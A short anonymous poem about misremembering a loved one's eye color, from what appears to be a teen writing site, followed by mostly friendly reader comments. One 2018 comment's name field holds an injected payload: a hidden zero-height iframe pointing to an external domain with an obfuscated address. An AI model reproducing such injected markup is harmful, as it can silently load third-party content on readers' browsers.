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By Anonymous

      I sat for days

struggling to pinpoint the

perfect word to describe

your brown eyes

When today I realized

they’re blue.

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on Jan. 16 2018 at 10:18 pm
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this so much!
LavanderMayday SILVER said...
on Apr. 1 2014 at 4:28 pm
LavanderMayday SILVER, Oroville, California
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haha didn't mean to write funny twice...
LavanderMayday SILVER said...
on Apr. 1 2014 at 4:28 pm
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A funny, quirky, unique, funny poem! :) I enjoyed it. Keep up the good work :) Happy Writing! -Jofie (=^.^=)
BlueSupernova ELITE said...
on Feb. 23 2013 at 1:21 pm
BlueSupernova ELITE, Cincinnati, Ohio
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this is a very beautiful poem. :) good job, you are a very good poet.
VivaciousWriter1 GOLD said...
on Jun. 22 2012 at 12:08 pm
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This is probably my favorite poem currently :) Me and my friend wrote something like this a few years ago haha
irishlass317 said...
on Nov. 26 2011 at 7:55 pm
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I love this!! Soooooooo adorable!!! :D
randomness said...
on Nov. 22 2008 at 8:47 am
Hey this reminds me of Your Song by Elton John but wow it's a cool poem.
Tweedle Dee said...
on Oct. 27 2008 at 1:27 pm
ha ha that's funny and kinda sad because lots of people think they're in love and dont even know anything about the other person. keep writting, i've read all your poems and they all rock!